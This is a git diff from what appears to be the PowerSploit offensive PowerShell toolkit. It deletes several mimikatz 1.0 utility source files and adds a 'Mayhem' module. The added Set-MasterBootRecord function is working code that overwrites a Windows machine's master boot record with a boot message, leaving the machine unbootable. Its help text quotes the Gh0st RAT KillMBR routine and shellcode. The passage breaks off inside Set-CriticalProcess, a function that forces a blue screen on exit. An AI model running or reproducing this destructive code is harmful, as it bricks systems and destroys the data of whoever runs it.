getHandleInfo(monHandle, &monBuffer, ObjectNameInformation)) - { - PUNICODE_STRING typeName = reinterpret_cast(monBuffer); - strName->assign(typeName->Buffer, typeName->Length / sizeof(wchar_t)); - delete[] monBuffer; - } - return reussite; -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.h b/Exfiltration/mimikatz-1.0/modules/mod_system.h deleted file mode 100644 index 7f411901..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_system.h +++ /dev/null @@ -1,34 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_ntddk.h" -#include -#include -#include -#include - -class mod_system -{ -private: - static bool getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo); - -public: - static wstring getWinError(bool automatique = true, DWORD code = 0); - - static bool getUserName(wstring * monUserName); - static bool getComputerName(wstring *monComputerName); - static bool getVersion(OSVERSIONINFOEX * maVersion); - - static bool isFileExist(std::wstring &fichier, bool *resultat); - static bool getCurrentDirectory(wstring * monRepertoire); - static bool getAbsolutePathOf(wstring &thisData, wstring *reponse); - static bool getSystemHandles(vector * mesHandles, DWORD * pid = NULL); // type ?? - static bool getHandleType(HANDLE monHandle, wstring * strType); - static bool getHandleName(HANDLE monHandle, wstring * strName); - - static OSVERSIONINFOEX GLOB_Version; -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.cpp b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp deleted file mode 100644 index 98de9503..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_text.cpp +++ /dev/null @@ -1,101 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_text.h" - -PRTL_INIT_STRING mod_text::RtlInitString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitString")); -PRTL_INIT_UNICODESTRING mod_text::RtlInitUnicodeString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); - -wstring mod_text::stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur) -{ - wostringstream monStream; - for(DWORD j = 0; j < maTaille; j++) - { - monStream << setw(2) << setfill(wchar_t('0')) << hex << monTab[j]; - if(longueur != 0) - { - monStream << L' '; - if ((j + 1) % longueur == 0) - monStream << endl; - } - } - return monStream.str(); -} - -wstring mod_text::stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur, bool ligne) -{ - wstring result; - if(monTab && maTaille > 0) - { - int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS /*| IS_TEXT_UNICODE_NULL_BYTES*/; - if(IsTextUnicode(monTab, maTaille, &flags)) - { - result.assign(reinterpret_cast(monTab), maTaille / sizeof(wchar_t)); - } - else - { - if(ligne) - result.assign(L"\n"); - result.append(stringOfHex(monTab, maTaille, longueur)); - } - } - else result.assign(L""); - - return result; -} - -void mod_text::wstringHexToByte(wstring &maChaine, BYTE monTab[]) -{ - wstringstream z; - unsigned int temp; - for(size_t i = 0; i < maChaine.size() / 2; i++) - { - z.clear(); - z << maChaine.substr(i * 2, 2); z >> hex >> temp; - monTab[i] = temp; - } -} - -bool mod_text::wstr_ends_with(const wchar_t * str, const wchar_t * suffix) -{ - if(str && suffix) - { - size_t str_len = wcslen(str), suffix_len = wcslen(suffix); - return wstr_ends_with(str, str_len, suffix, suffix_len); - } - return false; -} - -bool mod_text::wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len) -{ - if(str && suffix && (suffix_len <= str_len)) - return (_wcsnicmp(str + str_len - suffix_len, suffix, suffix_len) == 0); - return false; -} - -wstring mod_text::stringOfSTRING(UNICODE_STRING maString) -{ - return wstring(maString.Buffer, maString.Length / sizeof(wchar_t)); -} -string mod_text::stringOfSTRING(STRING maString) -{ - return string(maString.Buffer, maString.Length); -} - -void mod_text::InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]) -{ - RtlCopyMemory(monBuffer, maDonnee.c_str(), (maDonnee.size() + 1) * sizeof(wchar_t)); - RtlInitUnicodeString(LsaString, monBuffer); -} - -LUID mod_text::wstringsToLUID(wstring &highPart, wstring &lowPart) -{ - LUID monLUID = {0, 0}; - wstringstream z; - z << highPart; z >> monLUID.HighPart; - z.clear(); - z << lowPart; z >> monLUID.LowPart; - return monLUID; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.h b/Exfiltration/mimikatz-1.0/modules/mod_text.h deleted file mode 100644 index aeadd95e..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_text.h +++ /dev/null @@ -1,31 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include - -using namespace std; - -class mod_text -{ -public: - static PRTL_INIT_STRING RtlInitString; - static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; - - static wstring stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 0); - static wstring stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 32, bool ligne = true); - static void wstringHexToByte(wstring &maChaine, BYTE monTab[]); - - static wstring stringOfSTRING(UNICODE_STRING maString); - static string stringOfSTRING(STRING maString); - - static bool wstr_ends_with(const wchar_t * str, const wchar_t * suffix); - static bool wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len); - - static void InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]); - static LUID wstringsToLUID(wstring &highPart, wstring &lowPart); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp deleted file mode 100644 index d57b4f4d..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp +++ /dev/null @@ -1,77 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_thread.h" - -bool mod_thread::getList(vector * monVecteurThreads, DWORD * processId) -{ - bool reussite = false; - - HANDLE hThreadsSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); - if(hThreadsSnapshot != INVALID_HANDLE_VALUE) - { - THREADENTRY32 monThread; - monThread.dwSize = sizeof(THREADENTRY32); - - if(reussite = (Thread32First(hThreadsSnapshot, &monThread) != 0)) - { - do - { - if(!processId || (*processId == monThread.th32OwnerProcessID)) - monVecteurThreads->push_back(monThread); - } while(Thread32Next(hThreadsSnapshot, &monThread)); - } - CloseHandle(hThreadsSnapshot); - } - - return reussite; -} - -bool mod_thread::suspend(DWORD & threadId) -{ - bool reussite = false; - - HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - SuspendThread(monHandle); - CloseHandle(monHandle); - } - - return reussite; -} - -bool mod_thread::resume(DWORD & threadId) -{ - bool reussite = false; - - HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - ResumeThread(monHandle); - CloseHandle(monHandle); - } - - return reussite; -} - -bool mod_thread::stop(DWORD & threadId, DWORD exitCode) -{ - bool reussite = false; - - HANDLE monHandle = OpenThread(THREAD_TERMINATE, false, threadId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - TerminateThread(monHandle, exitCode); - CloseHandle(monHandle); - } - - return reussite; -} - -bool mod_thread::quit(DWORD & threadId) -{ - return PostThreadMessage(threadId, WM_QUIT, NULL, NULL) != 0; -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.h b/Exfiltration/mimikatz-1.0/modules/mod_thread.h deleted file mode 100644 index a2f62f95..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_thread.h +++ /dev/null @@ -1,19 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include - -class mod_thread -{ -public: - static bool getList(vector * monVecteurThreads, DWORD * processId = NULL); - - static bool suspend(DWORD & threadId); - static bool resume(DWORD & threadId); - static bool stop(DWORD & threadId, DWORD exitCode = 0); - static bool quit(DWORD & threadId); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp deleted file mode 100644 index 97c5fb03..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp +++ /dev/null @@ -1,106 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_ts.h" - -bool mod_ts::openServer(HANDLE * phServer, wstring * server, bool testIt) -{ - bool reussite = false; - - if(reussite = !server) - { - *phServer = WTS_CURRENT_SERVER_HANDLE; - } - else - { - wchar_t * serverName = _wcsdup(server->c_str()); - *phServer = WTSOpenServer(serverName); - delete[] serverName; - reussite = *phServer != NULL; - } - return reussite; -} - -bool mod_ts::closeServer(HANDLE hServer) -{ - if(hServer != WTS_CURRENT_SERVER_HANDLE) - WTSCloseServer(hServer); - - return true; -} - -bool mod_ts::getSessions(vector * mesSessions, wstring * server) -{ - bool reussite = false; - - PWTS_SESSION_INFO tabSessions; - DWORD nbSessions = 0; - HANDLE hServer = NULL; - - if(openServer(&hServer, server)) - { - if(reussite = WTSEnumerateSessions(hServer, 0, 1, &tabSessions, &nbSessions) != 0) - { - for(DWORD i = 0; i < nbSessions; i++) - { - KIWI_WTS_SESSION_INFO a = {tabSessions[i].SessionId, tabSessions[i].State, tabSessions[i].pWinStationName}; - mesSessions->push_back(a); - } - WTSFreeMemory(tabSessions); - } - closeServer(hServer); - } - - return reussite; -} - -bool mod_ts::getProcesses(vector * mesProcesses, wstring * server) -{ - bool reussite = false; - - PWTS_PROCESS_INFO tabProcess; - DWORD nbProcess = 0; - HANDLE hServer = NULL; - - if(openServer(&hServer, server)) - { - if(reussite = WTSEnumerateProcesses(hServer, 0, 1, &tabProcess, &nbProcess) != 0) - { - for(DWORD i = 0; i < nbProcess; i++) - { - KIWI_WTS_PROCESS_INFO a = { - tabProcess[i].SessionId, - tabProcess[i].ProcessId, - tabProcess[i].pProcessName - }; - - wstring user; - wstring domain; - if(mod_secacl::sidToName(tabProcess[i].pUserSid, &user, &domain, server)) - { - a.userSid.assign(domain); - a.userSid.push_back(L'\\'); - a.userSid.append(user); - } - else if(!mod_secacl::sidToStrSid(tabProcess[i].pUserSid, &a.userSid)) - { - if(tabProcess[i].pUserSid) - { - a.userSid.assign(L"erreur SID ; "); - a.userSid.append(mod_system::getWinError()); - } - else - a.userSid.assign(L"n.a."); - } - - mesProcesses->push_back(a); - } - WTSFreeMemory(tabProcess); - } - closeServer(hServer); - } - - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.h b/Exfiltration/mimikatz-1.0/modules/mod_ts.h deleted file mode 100644 index 6815bb89..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_ts.h +++ /dev/null @@ -1,35 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_secacl.h" -#include "mod_system.h" -#include - -class mod_ts -{ -private: - static bool openServer(HANDLE * phServer, wstring * server = NULL, bool testIt = true); - static bool closeServer(HANDLE hServer); - -public: - typedef struct _KIWI_WTS_SESSION_INFO { - DWORD id; - DWORD state; - wstring sessionName; - } KIWI_WTS_SESSION_INFO, * PKIWI_WTS_SESSION_INFO; - - typedef struct _KIWI_WTS_PROCESS_INFO { - DWORD sessionId; - DWORD pid; - wstring processName; - wstring userSid; - } KIWI_WTS_PROCESS_INFO, * PKIWI_WTS_PROCESS_INFO; - - static bool getSessions(vector * mesSessions, wstring * server = NULL); - static bool getProcesses(vector * mesProcesses, wstring * server = NULL); -}; - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp deleted file mode 100644 index a54c5b7e..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp +++ /dev/null @@ -1,26 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_windows.h" - -BOOL WINAPI mod_windows::enumHWNDCallback(HWND hwnd, pair *> * mesHWNDS) -{ - DWORD processId = 0; - if(DWORD threadId = GetWindowThreadProcessId(hwnd, &processId)) - { - if((mesHWNDS->first == 0) || (processId == mesHWNDS->first)) - { - KIWI_HWND_ENTRY monEntree = {hwnd, processId, threadId}; - mesHWNDS->second->push_back(monEntree); - } - } - return TRUE; -} - - -bool mod_windows::getHWNDsFromProcessId(vector * mesHWNDS, DWORD processId) -{ - return (EnumWindows(reinterpret_cast(enumHWNDCallback), reinterpret_cast(&make_pair *>(processId, mesHWNDS))) != FALSE); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.h b/Exfiltration/mimikatz-1.0/modules/mod_windows.h deleted file mode 100644 index c5f98874..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_windows.h +++ /dev/null @@ -1,22 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" - -class mod_windows -{ -public: - typedef struct _KIWI_HWND_ENTRY - { - HWND monHandle; - DWORD pid; - DWORD threadId; - } KIWI_HWND_ENTRY, *PKIWI_HWND_ENTRY; - - static bool getHWNDsFromProcessId(vector * mesHWNDS, DWORD processId = 0); -private: - static BOOL WINAPI enumHWNDCallback(HWND hwnd, pair *> * mesHWNDS); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp deleted file mode 100644 index 57b209e6..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp +++ /dev/null @@ -1,29 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_winsta_desktop.h" - -BOOL CALLBACK mod_winsta_desktop::EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam) -{ - reinterpret_cast *>(lParam)->push_back(reinterpret_cast(lpszWindowStation)); - return TRUE; -} - -BOOL CALLBACK mod_winsta_desktop::EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam) -{ - reinterpret_cast *>(lParam)->push_back(reinterpret_cast(lpszDesktop)); - return TRUE; -} - - -bool mod_winsta_desktop::getWinstas(vector * mesWinstas) -{ - return (EnumWindowStations(EnumWindowStationProc, reinterpret_cast(mesWinstas)) != 0); -} - -bool mod_winsta_desktop::getDesktops(vector * mesDesktop) -{ - return (EnumDesktops(NULL, EnumDesktopProc, reinterpret_cast(mesDesktop)) != 0); -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h deleted file mode 100644 index 34b9a94a..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h +++ /dev/null @@ -1,18 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" - -class mod_winsta_desktop -{ -private: - static BOOL CALLBACK EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam); - static BOOL CALLBACK EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam); - -public: - static bool getWinstas(vector * mesWinstas); - static bool getDesktops(vector * mesDesktop); // ! -}; diff --git a/Exfiltration/mimikatz-1.0/tools/PsExec.exe b/Exfiltration/mimikatz-1.0/tools/PsExec.exe deleted file mode 100644 index ed674807..00000000 Binary files a/Exfiltration/mimikatz-1.0/tools/PsExec.exe and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/tools/tee.exe b/Exfiltration/mimikatz-1.0/tools/tee.exe deleted file mode 100644 index 7b32b2af..00000000 Binary files a/Exfiltration/mimikatz-1.0/tools/tee.exe and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/tools/winmine.exe b/Exfiltration/mimikatz-1.0/tools/winmine.exe deleted file mode 100644 index 3833d6cc..00000000 Binary files a/Exfiltration/mimikatz-1.0/tools/winmine.exe and /dev/null differ diff --git a/Mayhem/Mayhem.psd1 b/Mayhem/Mayhem.psd1 new file mode 100644 index 00000000..f28493fd --- /dev/null +++ b/Mayhem/Mayhem.psd1 @@ -0,0 +1,30 @@ +@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'Mayhem.psm1' + +# Version number of this module. +ModuleVersion = '3.0.0.0' + +# ID used to uniquely identify this module +GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c' + +# Author of this module +Author = 'Matthew Graeber' + +# Copyright statement for this module +Copyright = 'BSD 3-Clause' + +# Description of the functionality provided by this module +Description = 'PowerSploit Mayhem Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '2.0' + +# Functions to export from this module +FunctionsToExport = '*' + +# List of all files packaged with this module +FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md' + +} diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 new file mode 100644 index 00000000..5fbdde25 --- /dev/null +++ b/Mayhem/Mayhem.psm1 @@ -0,0 +1,368 @@ +function Set-MasterBootRecord +{ +<# +.SYNOPSIS + +Proof of concept code that overwrites the master boot record with the +message of your choice. + +PowerSploit Function: Set-MasterBootRecord +Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Set-MasterBootRecord is proof of concept code designed to show that it is +possible with PowerShell to overwrite the MBR. This technique was taken +from a public malware sample. This script is inteded solely as proof of +concept code. + +.PARAMETER BootMessage + +Specifies the message that will be displayed upon making your computer a brick. + +.PARAMETER RebootImmediately + +Reboot the machine immediately upon overwriting the MBR. + +.PARAMETER Force + +Suppress the warning prompt. + +.EXAMPLE + +Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' + +.NOTES + +Obviously, this will only work if you have a master boot record to +overwrite. This won't work if you have a GPT (GUID partition table). + +This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): + +// CGh0stApp message handlers + +unsigned char scode[] = +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; + +int CGh0stApp::KillMBR() +{ + HANDLE hDevice; + DWORD dwBytesWritten, dwBytesReturned; + BYTE pMBR[512] = {0}; + + // ????MBR + memcpy(pMBR, scode, sizeof(scode) - 1); + pMBR[510] = 0x55; + pMBR[511] = 0xAA; + + hDevice = CreateFile + ( + "\\\\.\\PHYSICALDRIVE0", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + return -1; + DeviceIoControl + ( + hDevice, + FSCTL_LOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NUL + ) + // ?????? + WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); + DeviceIoControl + ( + hDevice, + FSCTL_UNLOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + CloseHandle(hDevice); + + ExitProcess(-1); + return 0; +} +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] + Param ( + [ValidateLength(1, 479)] + [String] + $BootMessage = 'Stop-Crying; Get-NewHardDrive', + + [Switch] + $RebootImmediately, + + [Switch] + $Force + ) + + if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + throw 'This script must be executed from an elevated command prompt.' + } + + if (!$Force) + { + if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) + { + return + } + } + + #region define P/Invoke types dynamically + $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) + + $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, + @('kernel32.dll'), + [Reflection.FieldInfo[]]@($SetLastError), + @($True)) + + # Define [Win32.Kernel32]::DeviceIoControl + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CreateFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [IntPtr], + [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::WriteFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CloseHandle + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + $Kernel32 = $TypeBuilder.CreateType() + #endregion + + $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) + # Convert the boot message to a byte array + $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) + + [Byte[]] $MBRInfectionCode = @( + 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode + 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color + 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color + 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 + 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length + 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters + 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White + 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string + 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer + ) + $MessageBytes + + $MBRSize = [UInt32] 512 + + if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) + { + throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes." + } + + # Allocate 512 bytes for the MBR + $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) + + # Zero-initialize the allocated unmanaged memory + 0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } + + [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) + + # Write boot record signature to the end of the MBR + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) + + # Get the device ID of the boot disk + $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID + + $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 + $FILE_SHARE_READWRITE = 2 -bor 1 + $OPEN_EXISTING = 3 + + # Obtain a read handle to the raw disk + $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) + + if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) + { + throw "Unable to obtain read/write handle to $DeviceID" + } + + $BytesReturned = [UInt32] 0 + $BytesWritten = [UInt32] 0 + $FSCTL_LOCK_VOLUME = 0x00090018 + $FSCTL_UNLOCK_VOLUME = 0x0009001C + + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::CloseHandle($DriveHandle) + + Start-Sleep -Seconds 2 + + [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) + + Write-Verbose 'Master boot record overwritten successfully.' + + if ($RebootImmediately) + { + Restart-Computer -Force + } +} + +function Set-CriticalProcess +{ +<# +.SYNOPSIS + +Causes your machine to blue screen upon exiting PowerShell. + +PowerSploit Function: Set-CriticalProcess +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.PARAMETER ExitImmediately + +Immediately exit PowerShell after successfully marking the process as critical. + +.PARAMETER Force + +Set the running PowerShell process as critical without asking for confirmation. + +.EXAMPLE + +Set-CriticalProcess + +.EXAMPLE + +Set-CriticalProcess -ExitImmediately + +.EXAMPLE + +Set-CriticalProcess -Force -Verbose + +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] + Param ( + [Switch] + $Force, + + [Switch] + $ExitImmediately + ) + + if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) + { + throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.' + } + + $Response = $True + + if (!$Force) + { + $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.') + } + + if (!$Response) + { + 